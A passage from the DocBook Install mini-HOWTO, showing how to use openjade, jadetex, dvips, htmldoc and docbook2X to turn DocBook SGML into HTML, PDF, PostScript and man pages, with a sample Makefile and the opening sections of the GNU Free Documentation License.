When processed, a single DocBook SGML file can output html, pdf, ps, txt and other formats for both online and printed publication. The processing is governed by stylesheets that can automatically generate a table of contents, page numbering, chapter & section numbering, and other features.

DocBook is also designed for authoring unix man pages by writing <refentry> documents. If you don't know what a man page is, try the command man man on your terminal.

1.3. Brief Overview

Here are brief descriptions of the packages we will work with in the next sections:

OpenJade. OpenJade is an implementation of the ISO/IEC 10179:1996 international standard Document Style Semantics and Specification Language (DSSSL). OpenJade executes the DSSSL language to process SGML and XML input files. In particular, it uses the Modular DocBook Stylesheets dsl code to process DocBook SGML/XML files into other formats such as html, tex, rtf, txt and others. OpenJade is the essential engine for converting a DocBook file into other formats. The TeX output format is used mostly as an intermediate format to obtain dvi, pdf, and ps via TeX macros and dvi converters.

DocBook SGML DTD. The DocBook Document Type Definition (DTD) files are SGML files that define the DocBook language. It defines the valid tag set and rules of their use. OpenJade requires access to the DTD files for every document type that it parses.

ISO8879 ENTITY SGML. Entities define how to represent special characters that have either no keyboard key or have special meaning in SGML. Examples familiar from HTML include "&amp;"='&', "&gt;"='>', and "&lt;"='<'.

DocBook DSSSL (Modular DocBook Stylesheets). The DSSSL files (dsl suffix) for a particular DTD, in this case DocBook, specify how to convert DocBook into html, rtf, tex etc. A dsl file is input to openjade along with your DocBook sgml file and tells openjade how to transform/style your document into another file format. The dsl for online (html) formats is often different than for print (dvi, pdf, ps) formats.

SGMLtools-Lite. SGMLtools-Lite is a frontend wrapper for running openjade and the TeX macros jadetex and pdfjadetex, macros included with OpenJade. Converting a DocBook file to ps or pdf is a two or three-step process. OpenJade outputs a tex file which is the input of jadetex to produce a dvi file, and pdfjadetex to produce a pdf. A ps file is obtained by passing the dvi file through dvips. The sgmltools script provides a single command to perform these tasks.

HTMLdoc. HTMLdoc is a free program for converting html files into a pdf or ps file.

SGMLSpm and docbook2X. Together, these two are used to generate man pages. SGMLSpm is a perl5 module library for processing parsed output from onsgmls, a program included with OpenJade. SGMLSpm includes an application called sgmlspl to use the SGMLSpm library. Sgmlspl requires "spec files", which are available from various other sources on the Internet, for each type of document transformation to be performed. DocBook2X is a package that provides the spec files for transforming DocBook files into man pages.

Prev | Home | Next
DocBook Install mini-HOWTO |  | Download the Packages


Legal

DocBook Install mini-HOWTO
Prev Next

A. Legal

Prev | Home | Next
Using DocBook |  | Copyright and Licenses


Using DocBook

DocBook Install mini-HOWTO
Prev Next

4. Using DocBook

Now that everything is installed, it's time to test it out and see how to use openjade and the other tools.

Figure 1. Example DocBook SGML file - test.sgml

<!DOCTYPE article PUBLIC "-//OASIS//DTD DocBook V4.1//EN">

<article lang="en">
<articleinfo>
    <title>This is a Test</title>

    <author>
        <firstname>John</firstname>
        <surname>Doe</surname>
        <othername role="mi">L</othername>
        <affiliation>
            <address>
            <email>j.doe@jdoe dot com</email>
            </address>
        </affiliation>
    </author>

    <revhistory>
        <revision>
        <revnumber>v1.0</revnumber>
        <date>2000-12-30</date>
        <authorinitials>jld</authorinitials>
        </revision>
    </revhistory>

    <abstract>
    <para>
    This is a test DocBook document.
    </para>
    </abstract>

</articleinfo>

<sect1 id="test1">
<title>Test 1</title>
<para>
Test section 1.
</para>
    <sect2>
    <title>Test 1.1</title>
    <para>
    Test section 1.1
    </para>
    </sect2>

    <sect2>
    <title>Test 1.2</title>
    <para>
    <screen>
        -- Test section 1.2
        openjade -t sgml -d $DSLFILE test.sgml
    </screen>
    </para>
    </sect2>

</sect1>

<sect1 id="test2">
<title>Test 2</title>
<para>
Test section 2.
</para>

    <sect2>
    <title>Test 2.1</title>
    <para>
    Test section 2.1
    </para>
    </sect2>

    <sect2>
    <title>Test 2.2</title>
    <para>
    Test section 2.2
    </para>
    </sect2>

</sect1>
</article>
For a guide to DocBook and a reference of DocBook elements, see:

DocBook: The Definitive Guide. http://www.docbook.org/tdg/en/

4.1. Generating HTML

4.1.1. docbook.dsl

Figure 2. Generating HTML output using docbook.dsl

bash$ ls -l
total 4
-rw-r--r--   1 reaster  users        1077 Dec 31 16:25 test.sgml
bash$ echo $SGML_SHARE
/usr/local/share/sgml
bash$ openjade -t sgml -d $SGML_SHARE/dsssl/docbook/html/docbook.dsl test.sgml
[snip - DTDDECL catalog entries are not supported, repeats]
bash$ ls -l
total 12
-rw-r--r--   1 reaster  users        1885 Dec 31 17:34 t1.htm
-rw-r--r--   1 reaster  users        1077 Dec 31 16:25 test.sgml
-rw-r--r--   1 reaster  users        1544 Dec 31 17:34 x27.htm
bash$
The warnings about DTDDECL can be ignored. They might be a little annoying, but these warnings are normal when using openjade. Other warnings and errors should be looked at and often indicate syntax errors that you should fix.

Two htm files are generated, one for each <sect1>. The filenames are not very descriptive. Section one appears on the same page as the article information. These are the results of using the default stylesheet that comes with the Modular DocBook Stylesheets, docbook.dsl.

Stylesheets can be customized to improve on these defaults. If you downloaded the Linux Documentation Project's ldp.dsl file and installed it as shown in Section 3.3, then you already have a customized style available.

4.1.2. ldp.dsl

Figure 3. Generating HTML output using ldp.dsl

bash$ openjade -t sgml -d $SGML_SHARE/dsssl/docbook/html/ldp.dsl#html test.sgml
bash$ ls -l
total 16
-rw-r--r--   1 reaster  users        2006 Dec 31 18:00 index.html
-rw-r--r--   1 reaster  users        1077 Dec 31 16:25 test.sgml
-rw-r--r--   1 reaster  users        1677 Dec 31 18:00 test1.html
-rw-r--r--   1 reaster  users        1598 Dec 31 18:00 test2.html
bash$

Using ldp.dsl, the output looks better:

  • An index file has been created that contains the article information.

  • A table of contents has been automatically generated.

  • Each <sect1> is in its own file.

  • Filenames are derived from ID attributes of the <sect1> elements.

  • The file extension has changed to html.

  • The <screen> elements are shaded.

Note how the ldp.dsl file is written in the command line: it has "#html" appended. ldp.dsl contains two <STYLE-SPECIFICATION> elements, one with ID="html" and another with ID="print". This selects the html style from within ldp.dsl. The DocBook DSSSL contains support for converting DocBook files into html and print formats. In Section 3.3, we copied ldp.dsl into both the print and html directories. When generating html output, the html style should be selected like above. When generating other types of files, such as rtf and tex, they fall under the print style and so the print style should be selected from ldp.dsl. The alternative is to comment out or delete the print or html style in the copy of ldp.dsl in the respective directory. If a dsl file has more than one style-spec in it and none is selected like in the example above, then the first style encountered in the file is selected. For ldp.dsl, the print style-spec is first in the file, so it gets selected by default. So in the example above, without appending "#html" when specifying ldp.dsl as the dsssl stylesheet, the "print" style-spec would be selected and used when generating the html output. It will work, but is intended for when selecting the print/ldp.dsl and the formatting will be different.

To learn more about how the stylesheet customization files are made, read the documentation for the Modular DocBook Stylesheets. Customization mainly involves setting boolean option parameters to toggle style features on and off. Completely new style logic can be programmed using the the DSSSL language.

The openjade option "-t output_type" specifies the output type. The "-d dsssl_spec" option is the path to the dsssl stylesheet to use. In the example above, the output type specified is sgml, which is for SGML to SGML transformations. HTML, defined by the HTML Document Type Definition (DTD), is an SGML document type just as DocBook is, so "sgml" is the correct output_type option. The other two output types commonly used are "rtf" and "tex". The tex output_type will be used later as an intermediate format for the generation of pdf and ps formats. The dsssl_spec must specify a dsl file, not a directory.

4.2. Generating rtf and tex

bash$ ls -l
-rw-r--r--   1 reaster  users        1143 Dec 31 18:18 test.sgml
bash$ openjade -t rtf -d $SGML_SHARE/dsssl/docbook/print/ldp.dsl#print test.sgml
bash$ openjade -t tex -d $SGML_SHARE/dsssl/docbook/print/ldp.dsl#print test.sgml
bash$ ls -l
-rw-r--r--   1 reaster  users        4584 Dec 31 20:51 test.rtf
-rw-r--r--   1 reaster  users        1143 Dec 31 18:18 test.sgml
-rw-r--r--   1 reaster  users       18719 Dec 31 20:51 test.tex

4.3. Generating dvi and ps

Figure 4. Running jadetex to generate a Device Independent (dvi) file.

-rw-r--r--   1 reaster  users        4584 Dec 31 20:51 test.rtf
-rw-r--r--   1 reaster  users        1143 Dec 31 18:18 test.sgml
-rw-r--r--   1 reaster  users       18719 Dec 31 20:51 test.tex
bash$ jadetex test.tex
This is TeX, Version 3.14159 (Web2C 7.3.1)
(test.tex
JadeTeX 1999/06/29: 2.7
(/usr/share/texmf/tex/latex/psnfss/t1ptm.fd)
(/usr/share/texmf/tex/jadetex/isoents.tex)
Elements will be labelled
Jade begin document sequence at 19
No file test.aux.
(/usr/share/texmf/tex/latex/cyrillic/ot2cmr.fd)
(/usr/share/texmf/tex/latex/base/ts1cmr.fd)
(/usr/share/texmf/tex/latex/lucidabr/lmrhlcm.fd)
(/usr/share/texmf/tex/latex/hyperref/nameref.sty)
(/usr/share/texmf/tex/latex/psnfss/t1phv.fd)

LaTeX Warning: Reference `TEST1' on page 1 undefined on input line 238.

LaTeX Warning: Reference `20' on page 1 undefined on input line 262.

LaTeX Warning: Reference `23' on page 1 undefined on input line 285.

LaTeX Warning: Reference `TEST2' on page 1 undefined on input line 316.

LaTeX Warning: Reference `30' on page 1 undefined on input line 340.

LaTeX Warning: Reference `33' on page 1 undefined on input line 363.

[1.0.46] (/usr/share/texmf/tex/latex/psnfss/t1pcr.fd) [2.0.46] [3.0.46]
(test.aux)

LaTeX Warning: There were undefined references.

 )
Output written on test.dvi (3 pages, 34984 bytes).
Transcript written on test.log.
bash$ ls -l
total 80
-rw-r--r--   1 reaster  users         771 Dec 31 20:55 test.aux
-rw-r--r--   1 reaster  users       34984 Dec 31 20:55 test.dvi
-rw-r--r--   1 reaster  users        5072 Dec 31 20:55 test.log
-rw-r--r--   1 reaster  users        4584 Dec 31 20:51 test.rtf
-rw-r--r--   1 reaster  users        1143 Dec 31 18:18 test.sgml
-rw-r--r--   1 reaster  users       18719 Dec 31 20:51 test.tex
bash$ jadetex test.tex
This is TeX, Version 3.14159 (Web2C 7.3.1)
(test.tex
JadeTeX 1999/06/29: 2.7
(/usr/share/texmf/tex/latex/psnfss/t1ptm.fd)
(/usr/share/texmf/tex/jadetex/isoents.tex)
Elements will be labelled
Jade begin document sequence at 19
(test.aux) (/usr/share/texmf/tex/latex/cyrillic/ot2cmr.fd)
(/usr/share/texmf/tex/latex/base/ts1cmr.fd)
(/usr/share/texmf/tex/latex/lucidabr/lmrhlcm.fd)
(/usr/share/texmf/tex/latex/hyperref/nameref.sty)
(/usr/share/texmf/tex/latex/psnfss/t1phv.fd) [1.0.46]
(/usr/share/texmf/tex/latex/psnfss/t1pcr.fd) [2.0.46] [3.0.46] (test.aux) )
Output written on test.dvi (3 pages, 34148 bytes).
Transcript written on test.log.
You have new mail in /var/spool/mail/reaster
bash$ ls -l
total 80
-rw-r--r--   1 reaster  users         753 Dec 31 20:58 test.aux
-rw-r--r--   1 reaster  users       34148 Dec 31 20:58 test.dvi
-rw-r--r--   1 reaster  users        4433 Dec 31 20:58 test.log
-rw-r--r--   1 reaster  users        4584 Dec 31 20:51 test.rtf
-rw-r--r--   1 reaster  users        1143 Dec 31 18:18 test.sgml
-rw-r--r--   1 reaster  users       18719 Dec 31 20:51 test.tex
bash$

The first time jadetex is run, warnings are printed. They can be ignored. Running it a second time, they do not appear again.

Figure 5. Running dvips to generate a PostScript (ps) file.

bash$ ls -l
total 80
-rw-r--r--   1 reaster  users         753 Dec 31 20:58 test.aux
-rw-r--r--   1 reaster  users       34148 Dec 31 20:58 test.dvi
-rw-r--r--   1 reaster  users        4433 Dec 31 20:58 test.log
-rw-r--r--   1 reaster  users        4584 Dec 31 20:51 test.rtf
-rw-r--r--   1 reaster  users        1143 Dec 31 18:18 test.sgml
-rw-r--r--   1 reaster  users       18719 Dec 31 20:51 test.tex
bash$ dvips test.dvi
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)
' TeX output 2000.12.31:2058' -> test.ps
<texc.pro><8r.enc><texps.pro><special.pro><color.pro>. [1] [2] [3]
bash$ ls -l
total 116
-rw-r--r--   1 reaster  users         753 Dec 31 20:58 test.aux
-rw-r--r--   1 reaster  users       34148 Dec 31 20:58 test.dvi
-rw-r--r--   1 reaster  users        4433 Dec 31 20:58 test.log
-rw-r--r--   1 reaster  users       34817 Dec 31 21:06 test.ps
-rw-r--r--   1 reaster  users        4584 Dec 31 20:51 test.rtf
-rw-r--r--   1 reaster  users        1143 Dec 31 18:18 test.sgml
-rw-r--r--   1 reaster  users       18719 Dec 31 20:51 test.tex
bash$

Figure 6. Running htmldoc to generate a PostScript (ps) file.

bash$ ls -l
-rw-r--r--   1 reaster  users        1143 Dec 31 18:18 test.sgml
bash$ export DSL_HTML=$SGML_SHARE/dsssl/docbook/html/ldp.dsl\#html
bash$ openjade -t sgml -V nochunks -d $DSL_HTML test.sgml | htmldoc -f test-htmldoc.ps -
bash$ ls -l
-rw-r--r--   1 reaster  users        9050 Jan  1 00:44 test-htmldoc.ps
-rw-r--r--   1 reaster  users        1143 Dec 31 18:18 test.sgml
bash$
If the ps file doesn't appear as expected, it may be due to bugs in htmldoc. Look inside the ldp_print script if you want to use it to make ps.

4.4. Generating pdf

Figure 7. Running pdfjadetex to generate a Portable Document Format (pdf) file.

bash$ ls -l
-rw-r--r--   1 reaster  users         753 Dec 31 20:58 test.aux
-rw-r--r--   1 reaster  users       34148 Dec 31 20:58 test.dvi
-rw-r--r--   1 reaster  users        4433 Dec 31 20:58 test.log
-rw-r--r--   1 reaster  users       34817 Dec 31 21:06 test.ps
-rw-r--r--   1 reaster  users        4584 Dec 31 20:51 test.rtf
-rw-r--r--   1 reaster  users        1143 Dec 31 18:18 test.sgml
-rw-r--r--   1 reaster  users       18719 Dec 31 20:51 test.tex
bash$ pdfjadetex test.tex
This is pdfTeX, Version 3.14159-13d (Web2C 7.3.1)
(test.tex[/usr/share/texmf/pdftex/config/pdftex.cfg]
JadeTeX 1999/06/29: 2.7
(/usr/share/texmf/tex/latex/psnfss/t1ptm.fd)
(/usr/share/texmf/tex/jadetex/isoents.tex)
Elements will be labelled
Jade begin document sequence at 19
(test.aux) (/usr/share/texmf/tex/latex/cyrillic/ot2cmr.fd)
(/usr/share/texmf/tex/latex/base/ts1cmr.fd)
(/usr/share/texmf/tex/latex/lucidabr/lmrhlcm.fd)
(/usr/share/texmf/tex/context/base/supp-pdf.tex
(/usr/share/texmf/tex/context/base/supp-mis.tex
loading : Context Support Macros / Missing
)
loading : Context Support Macros / PDF
) (/usr/share/texmf/tex/latex/hyperref/nameref.sty)
(/usr/share/texmf/tex/latex/psnfss/t1phv.fd) [1.0.46[/usr/share/texmf/dvips/con
fig/pdftex.map]] (/usr/share/texmf/tex/latex/psnfss/t1pcr.fd) [2.0.46] [3.0.46]
 (test.aux) )<8r.enc>
Output written on test.pdf (3 pages, 9912 bytes).
Transcript written on test.log.
bash$ ls -l
total 128
-rw-r--r--   1 reaster  users         753 Dec 31 21:13 test.aux
-rw-r--r--   1 reaster  users       34148 Dec 31 20:58 test.dvi
-rw-r--r--   1 reaster  users        5075 Dec 31 21:13 test.log
-rw-r--r--   1 reaster  users        9912 Dec 31 21:13 test.pdf
-rw-r--r--   1 reaster  users       34817 Dec 31 21:06 test.ps
-rw-r--r--   1 reaster  users        4584 Dec 31 20:51 test.rtf
-rw-r--r--   1 reaster  users        1143 Dec 31 18:18 test.sgml
-rw-r--r--   1 reaster  users       18719 Dec 31 20:51 test.tex
bash$
bash$ pdfjadetex test.tex
[snip]
bash$ pdfjadetex test.tex
[snip]
pdfjadetex must be run up to three times to resolve all internal references for things such as TOC page numbers.

Figure 8. Running htmldoc to generate a Portable Document Format (pdf) file.

bash$ ls -l
-rw-r--r--   1 reaster  users        1143 Dec 31 18:18 test.sgml
bash$ export DSL_HTML=$SGML_SHARE/dsssl/docbook/html/ldp.dsl\#html
bash$ openjade -t sgml -V nochunks -d $DSL_HTML test.sgml > test-htmldoc.htm
bash$ ldp_print test-htmldoc.htm
bash$ ls -l
-rw-r--r--   1 reaster  users        9050 Jan  1 01:17 test-htmldoc.pdf
-rw-r--r--   1 reaster  users        1143 Dec 31 18:18 test.sgml
bash$
If enabled in the ldp_print script, this would generate a ps file also.

4.5. Using make

Repeating the commands to generate the output files is tedious. The make command works perfectly to automate the process.

Figure 9. Filename: Makefile - automates document generation.

# Generates online and print versions of SGML source file.

BASENAME=DocBook-Install

# SGML source file.
SGML_FILE=$(BASENAME).sgml

# Stylesheets
DSL_PRINT=$(SGML_SHARE)/dsssl/docbook/print/ldp.dsl\#print
DSL_HTML=$(SGML_SHARE)/dsssl/docbook/html/ldp.dsl\#html

# Generated files.
HTML_FILE=index.html
HTM_FILE=$(BASENAME).htm
TEX_FILE=$(BASENAME).tex
RTF_FILE=$(BASENAME).rtf
PDF_FILE=$(BASENAME).pdf
DVI_FILE=$(BASENAME).dvi
PS_FILE=$(BASENAME).ps

# Build rules.

html: $(HTML_FILE)

htm: $(HTM_FILE)

tex: $(TEX_FILE)

rtf: $(RTF_FILE)

pdf: $(PDF_FILE)

dvi: $(DVI_FILE)

ps: $(PS_FILE)

all: html htm tex rtf pdf dvi ps

clean:
    rm -f $(BASENAME).{htm,log,aux,ps,pdf,tex,dvi,rtf,fot}
    rm -f *.html

distclean: clean
    rm -f $(BASENAME).tgz

package:
    rm -f $(BASENAME).tgz
    tar -C .. -czf /tmp/$(BASENAME).tgz $(BASENAME)
    mv /tmp/$(BASENAME).tgz .

dist: clean package

distall: all package

# Compile rules.

$(HTML_FILE): $(SGML_FILE)
    openjade -t sgml -d $(DSL_HTML) $(SGML_FILE)

$(HTM_FILE): $(SGML_FILE)
    openjade -t sgml -V nochunks -d $(DSL_HTML) \
    $(SGML_FILE) > $(HTM_FILE)

$(TEX_FILE): $(SGML_FILE)
    openjade -t tex -d $(DSL_PRINT) $(SGML_FILE)

$(RTF_FILE): $(SGML_FILE)
    openjade -t rtf -d $(DSL_PRINT) $(SGML_FILE)

# [pdf]jadetex is run 3 times to resolve references.
#$(PDF_FILE): $(TEX_FILE)
#	pdfjadetex $(TEX_FILE)
#	pdfjadetex $(TEX_FILE)
#	pdfjadetex $(TEX_FILE)

# This *should* work, but htmldoc has bugs ...
#$(PDF_FILE): $(SGML_FILE)
#	openjade -t sgml -V nochunks -d $(DSL_HTML) \
#	$(SGML_FILE) | htmldoc -f $(PDF_FILE) -

# Have to use ldp_print to work around htmldoc bugs
# ldp_print can also do the ps file - see script
$(PDF_FILE): $(HTM_FILE)
    ldp_print $(HTM_FILE)

$(DVI_FILE): $(TEX_FILE)
    jadetex $(TEX_FILE)
    jadetex $(TEX_FILE)
    jadetex $(TEX_FILE)

$(PS_FILE): $(DVI_FILE)
    dvips $(DVI_FILE)

#$(PS_FILE): $(SGML_FILE)
#	openjade -t sgml -V nochunks -d $(DSL_HTML) \
#	$(SGML_FILE) | htmldoc -f $(PS_FILE) -

Usage is just like for most projects:

Figure 10. Invoking make to run Makefile

        -- generate html (default)
        make
        -- generate just pdf
        make pdf
        -- generate all files
        make all
        -- delete all generated files
        make clean
        -- create tgz distribution
        -- with no generated files
        make dist
        -- create tgz distribution
        -- containing all generated files
        make distall

Notice the commented compile rules for pdf and ps which provide alternative means of generating those files.

4.6. Generating a man page

During the section on installing everything, we installed the perl version 5 module SGMLS.pm. Then we installed Docbook2X which provides the spec.pl files for transforming DocBook <refentry> documents into nroff (man page) format with sgmlspl.

An example Docbook <refentry> document, for the foo command, is given below.

Figure 11. foo command man page, docbook <refentry> source (foo-ref.sgml)

<!DOCTYPE refentry PUBLIC "-//OASIS//DTD DocBook V4.1//EN">
<refentry>
<refentryinfo>
    <date>2001-01-01</date>
</refentryinfo>
<refmeta>
    <refentrytitle>
        <application>foo</application>
    </refentrytitle>
    <manvolnum>1</manvolnum>
    <refmiscinfo>foo 1.0</refmiscinfo>
</refmeta>
<refnamediv>
    <refname>
        <application>foo</application>
    </refname>
    <refpurpose>
    Does nothing useful.
    </refpurpose>
</refnamediv>
<refsynopsisdiv>
    <refsynopsisdivinfo>
        <date>2001-01-01</date>
    </refsynopsisdivinfo>
    <cmdsynopsis>
    <command>foo</command>
<arg><option>-f </option><replaceable class="parameter">bar</replaceable></arg>
<arg><option>-d<replaceable class="parameter">n</replaceable></option></arg>
<arg rep="repeat"><replaceable class="parameter">file</replaceable></arg>
    </cmdsynopsis>
</refsynopsisdiv>
<refsect1>
    <refsect1info>
        <date>2001-01-01</date>
    </refsect1info>
    <title>DESCRIPTION</title>
    <para>
    <command>foo</command> does nothing useful.
    </para>
</refsect1>
<refsect1>
    <title>OPTIONS</title>
    <variablelist>
    <varlistentry>
        <term>-f <replaceable class="parameter">bar</replaceable></term>
        <listitem>
            <para>
            Takes <filename>bar</filename> as it's run
            control file. If this were a real program,
            there might be more to say here about what
            bar is and how it will be used.
            </para>
        </listitem>
    </varlistentry>
    <varlistentry>
        <term>-d<replaceable class="parameter">n</replaceable></term>
        <listitem>
            <para>
            Do something, where integer
            <replaceable class="parameter">n</replaceable>
            specifies how many times.
            </para>
        </listitem>
    </varlistentry>
    <varlistentry>
        <term><replaceable class="parameter">file...</replaceable></term>
        <listitem>
            <para>
            Processes the files in the order listed,
            sending all output to stdout.
            </para>
        </listitem>
    </varlistentry>
    </variablelist>
</refsect1>
<refsect1>
    <title>USAGE</title>
    <para>
    <command>foo</command> -f foo.conf -d2 foodata.foo
    </para>
</refsect1>
<refsect1>
    <title>CAVEATS</title>
    <para>
    Other programs named <command>foo</command> may exist and actually
    do something!
    </para>
</refsect1>
<refsect1>
    <title>BUGS</title>
    <para>
    None.  Program does nothing.
    </para>
</refsect1>
<refsect1>
    <title>AUTHOR</title>
    <para>
    <author>
        <firstname>Foo</firstname>
        <othername role="mi">E</othername>
        <surname>Bar</surname>
        <contrib>Original author</contrib>
    </author>
    </para>
</refsect1>
</refentry>

Figure 12. Generating a man page with onsgmls, sgmlspl, and docbook2man-spec.pl

bash$ ls -l
-rw-r--r--   1 reaster  users        2434 Jan  3 03:51 foo-ref.sgml
bash$ onsgmls foo-ref.sgml | sgmlspl $SGML_SHARE/docbook2X/docbook2man-spec.pl
bash$ ls -l
-rw-r--r--   1 reaster  users        2434 Jan  3 03:51 foo-ref.sgml
-rw-r--r--   1 reaster  users        1129 Jan  3 04:03 foo.1
-rw-r--r--   1 reaster  users           0 Jan  3 04:03 manpage.links
-rw-r--r--   1 reaster  users           0 Jan  3 04:03 manpage.log
-rw-r--r--   1 reaster  users          15 Jan  3 04:03 manpage.refs
bash$ groff -mandoc -Tascii foo.1

FOO(1)                                                     FOO(1)

NAME
       foo - Does nothing useful.

SYNOPSIS
       foo [ -f bar ]  [ -dn ]  [ file... ]

DESCRIPTION
       foo does nothing useful.

OPTIONS
       -f bar Takes  bar as its run control file. If this were a
              real program, there might be more to say here about
              what bar is and how it will be used.

       -dn    Do  something,  where  integer n specifies how many
              times.

       file...
              Processes the files in the  order  listed,  sending
              all output to stdout.

USAGE
       foo -f foo.conf -d2 foodata.foo

CAVEATS
       Other  programs  named foo may exist and actually do some-
       thing!

BUGS
       None. Program does nothing.

AUTHOR
       Foo E Bar (Original author)

[snip - several extra blank lines that man would not show]
foo 1.0                     2001-01-01                          1
bash$ groff -mandoc -Tascii foo.1 | less
bash$ less foo.1

The man page, foo.1, is generated as a Section 1 page. The groff command is used to give a quick look at its formatted appearance.

To install this man page, it belongs in any man/man1 directory, where the directory man/ is added to $MANPATH in the environment. The standard location is /usr/local/man/man1. The standard sections in the man pages system are 1 though 9. Each is for holding specific catagories of documentation.

Table 1. Manual Pages Sections

Section | Purpose
man1 | User programs
man2 | System calls
man3 | Library functions and subroutines
man4 | Devices
man5 | File formats
man6 | Games
man7 | Miscellaneous
man8 | System administration
man9 | Kernel internal variables and functions

Tip

The source file for a man page, like foo-ref.sgml, can be processed into all the other formats just like any other DocBook file. So using the same commands discussed earlier to generate html and print output types, a man page can be made into html and rtf, tex, pdf, dvi, and ps. This can really save a lot of conversion work!

Have fun !

Prev | Home | Next
Install the Packages |  | Legal


PREAMBLE

DocBook Install mini-HOWTO
Prev B. GNU Free Documentation License Next

0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

Prev | Home | Next
GNU Free Documentation License | Up | APPLICABILITY AND DEFINITIONS


APPLICABILITY AND DEFINITIONS

DocBook Install mini-HOWTO
Prev B. GNU Free Documentation License Next

1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

Prev | Home | Next
PREAMBLE | Up | VERBATIM COPYING


VERBATIM COPYING

DocBook Install mini-HOWTO
Prev B. GNU Free Documentation License Next

2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

Prev | Home | Next
APPLICABILITY AND DEFINITIONS | Up | COPYING IN QUANTITY


COPYING IN QUANTITY

DocBook Install mini-HOWTO
Prev B. GNU Free Documentation License Next

3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

Prev | Home | Next
VERBATIM COPYING | Up | MODIFICATIONS


MODIFICATIONS

DocBook Install mini-HOWTO
Prev B. GNU Free Documentation License Next

4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  1. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  2. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  3. State on the Title page the name of the publisher of the Modified Version, as the publisher.

  4. Preserve all the copyright notices of the Document.

  5. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  6. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  7. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  8. Include an unaltered copy of this License.

  9. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

